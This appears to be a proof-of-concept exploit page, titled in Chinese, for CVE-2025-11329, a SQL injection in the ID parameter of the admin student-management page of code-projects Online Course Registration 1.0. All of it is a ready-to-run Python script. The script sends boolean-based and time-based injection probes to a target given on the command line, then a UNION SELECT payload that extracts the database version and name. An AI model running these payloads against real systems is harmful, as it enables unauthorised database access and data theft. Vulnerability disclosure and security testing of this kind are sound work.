CVE-2025-11329：Online Course Registration SQL注入漏洞

# CVE-2025-11329 - SQL Injection PoC # Target: code-projects Online Course Registration 1.0 # Vulnerable file: /admin/manage-students.php # Vulnerable parameter: ID import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULN_PATH = "/admin/manage-students.php" def check_sqli(target): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = {"ID": "1"} try: r_normal = requests.get(f"{target}{VULN_PATH}", params=normal_payload, timeout=10) normal_len = len(r_normal.text) except Exception as e: print(f"[ERROR] Connection failed: {e}") return False # Boolean-based injection test true_payload = {"ID": "1' AND '1'='1"} false_payload = {"ID": "1' AND '1'='2"} try: r_true = requests.get(f"{target}{VULN_PATH}", params=true_payload, timeout=10) r_false = requests.get(f"{target}{VULN_PATH}", params=false_payload, timeout=10) if len(r_true.text) != len(r_false.text) and len(r_true.text) == normal_len: print("[+] Target is vulnerable to boolean-based SQL injection!") return True except Exception as e: print(f"[ERROR] Injection test failed: {e}") return False def exploit_sqli(target): """Exploit SQL injection to extract database information""" # Extract database version payload = { "ID": "1' UNION SELECT 1,version(),database()-- -" } try: r = requests.get(f"{target}{VULN_PATH}", params=payload, timeout=10) print(f"[+] Response:\n{r.text}") except Exception as e: print(f"[ERROR] Exploitation failed: {e}") def time_based_sqli(target): """Time-based blind SQL injection""" import time payload = {"ID": "1' AND SLEEP(5)-- -"} start = time.time() try: requests.get(f"{target}{VULN_PATH}", params=payload, timeout=15) except Exception: pass elapsed = time.time() - start if elapsed >= 5: print("[+] Target is vulnerable to time-based blind SQL injection!") else: print("[-] Target may not be vulnerable to time-based injection.") if __name__ == "__main__": print(f"[*] Testing target: {TARGET_URL}") if check_sqli(TARGET_URL): exploit_sqli(TARGET_URL) else: time_based_sqli(TARGET_URL)